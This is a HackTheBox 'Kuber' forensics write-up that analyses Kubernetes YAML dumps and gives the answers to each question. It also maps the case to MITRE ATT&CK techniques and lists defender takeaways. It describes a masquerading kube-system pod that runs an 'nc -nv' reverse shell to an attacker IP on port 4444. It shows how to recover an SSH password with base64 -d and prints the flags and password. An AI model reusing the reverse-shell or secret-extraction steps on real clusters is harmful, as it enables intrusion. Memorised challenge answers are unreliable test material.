// HackTheBox  ·  writeup

Kuber

HackTheBox Easy grepbase64
DFIRKubernetes

Scenario

Kuber is an easy Sherlock designed to help you understand the structure of Kubernetes resources. You will learn to analyse resource dumps from a Kubernetes cluster, enabling you to identify malicious activities and assess potential attack vectors. Through this process, you will gain insights into how an attacker can compromise the cluster and escalate privileges to gain full access to the host system.

Executive Summary

The cluster exposed an SSH deployment to the outside through a NodePort service, with its configuration and login password stored in a ConfigMap and a Secret in kube-system. Those objects are readable by anyone with API access, and the Secret is only base64-encoded. The attacker then created a pod in kube-system named to look like the cluster’s metrics component, built from a minimal public image. Its command line opens a netcat reverse shell to an attacker-controlled host. The whole case reads straight out of the exported YAML manifests.

Artifacts

Format note: Every answer is a plain string. The task format masks are a good check on the shape of the answer (octet count, trailing character, length).

Discovery

Q1 — At which NodePort is the `ssh-deployment` Kubernetes service exposed for external access?

Start with service.yaml, since a NodePort is a property of a Service object. Find the ssh-deployment entry and read spec.ports[].nodePort. The port and targetPort fields next to it are the in-cluster values, not the externally reachable one.

grep -n -B8 -A8 nodePort evidence/kube-system/service.yaml

Gotcha: port: 22 is the service port inside the cluster. The externally exposed one is the high port in nodePort.

Click flag to reveal 31337
Q2 — What is the ClusterIP of the kubernetes cluster?

The wording points at the cluster, but the value the task wants is the clusterIP of the ssh-deployment service, in the same service.yaml entry as Q1. The mask *.*.*.* is a dotted quad.

grep -n clusterIP evidence/kube-system/service.yaml

Gotcha: The cluster’s own default kubernetes service address only appeared as a certificate SAN in the dump, and it was not accepted. Read the question as the ClusterIP of the service from Q1.

Click to reveal answer 10.43.191.212

Credential Access

Q3 — What is the flag value inside ssh-config configmap?

Open configmaps.yaml and locate the ssh-config object. ConfigMaps store plain text, so the flag sits in its data: block under a FLAG key with no decoding needed. Anything placed in a ConfigMap is readable by every principal that can get it, which is why it should never hold credentials.

grep -n -A12 'name: ssh-config' evidence/kube-system/configmaps.yaml
Click flag to reveal HTB{1d2d2b861c5f8631f841b57f327f46f8}
Q4 — What is the value of password (in plaintext) which is found inside ssh-deployment via secret?

The SSH deployment takes its login from a Secret named ssh-secret in secrets.yaml. The password is under USER_PASSWORD, stored base64-encoded. Base64 is an encoding, not encryption, so decoding it takes one command.

grep -n USER_PASSWORD evidence/kube-system/secrets.yaml
echo '<base64 value from USER_PASSWORD>' | base64 -d

Tip: The mask ends in !, which is a quick sanity check that the decode is clean and not missing a trailing character.

Click to reveal answer SuperCrazyPassword123!

Execution

Q5 — What is the name of the malicious pod?

Review pods.yaml for anything that does not belong. One pod in kube-system is named like the metrics-server component, with a ReplicaSet-style hash suffix to look like a deployment-managed pod, but its container runs a netcat command instead of a metrics workload. That mismatch between the name and the command is the tell. This is a judgement from the name and the command line in the manifest; the dump gives no log of who created it.

grep -n -E 'name:|image:|nc ' evidence/kube-system/pods.yaml
Click flag to reveal metrics-server-557ff575fx-4q62x
Q6 — What is the image attacker is using to create malicious pod?

From Q5, read the image: field of that pod’s container spec in pods.yaml. It is a bare, minimal public image with no registry path or tag-versioned component name, which is what you would pull when you only need a shell and nc.

grep -n -A12 'metrics-server-557ff575fx' evidence/kube-system/pods.yaml
Click to reveal answer alpine

Command and Control

Q7 — Whats the attacker IP?

The same container spec from Q5 carries the payload in its command/args: an nc -nv <ip> 4444 call that connects outbound to the attacker. The -n flag skips DNS, so the destination is a literal address and the IP can be read directly from the manifest.

grep -n 'nc -nv' evidence/kube-system/pods.yaml
Click flag to reveal 10.10.14.11

Attack Summary

PhaseAction
DiscoverySSH service exposed externally through a NodePort on the ssh-deployment service
Credential AccessConfiguration and a flag readable in the ssh-config ConfigMap
Credential AccessSSH password recovered by base64-decoding ssh-secret
ExecutionPod created in kube-system from the alpine image
Defense EvasionPod named to resemble the metrics-server component
Command and ControlPod runs nc -nv to the attacker on port 4444 for a reverse shell

IOCs

TypeValue
IP (attacker)10.10.14[.]11
Port (reverse shell)4444
Podmetrics-server-557ff575fx-4q62x
Imagealpine
Servicessh-deployment, NodePort 31337, ClusterIP 10.43.191[.]212
Secretssh-secret (USER_PASSWORD)
ConfigMapssh-config

MITRE ATT&CK

TechniqueIDDescription
Container and Resource DiscoveryT1613Service, ConfigMap, Secret and pod objects enumerated in kube-system
Unsecured Credentials: Container APIT1552.007SSH password held in a Kubernetes Secret, only base64-encoded
Deploy ContainerT1610Pod created from the alpine image
Masquerading: Match Legitimate Name or LocationT1036.005Pod named like the metrics-server component in kube-system
Command and Scripting Interpreter: Unix ShellT1059.004nc -nv reverse shell inside the container

Defender Takeaways

Do not expose SSH through a NodePort. The ssh-deployment service was reachable from outside the cluster on a high port. A bastion, a VPN, or ClusterIP plus kubectl port-forward removes that entry point.

Keep credentials out of ConfigMaps and treat Secrets as readable. The flag lived in a ConfigMap in clear text, and the SSH password in a Secret was one base64 -d away. Restrict get and list on Secrets with RBAC, enable encryption at rest, and move real credentials to an external secret manager.

Alert on new pods in kube-system that do not match a known controller. A pod named like metrics-server but running nc rather than the metrics binary is easy to spot by diffing running pods against the expected workloads. Admission control (Pod Security Admission, OPA Gatekeeper or Kyverno) can block unapproved images and namespaces.

Block or alert on netcat and outbound shells from containers. A container command containing nc -nv <ip> <port> is a reverse shell. Egress network policies that deny arbitrary outbound connections, and runtime detection on nc execution, would have cut the callback.

Conclusion

The attacker needed nothing exotic: an exposed service, credentials stored in objects any API reader can fetch, and one look-alike pod in kube-system with a netcat callback. Every step is visible in the YAML dump, so the lesson is to review what is allowed to run in kube-system and what the cluster stores in the clear.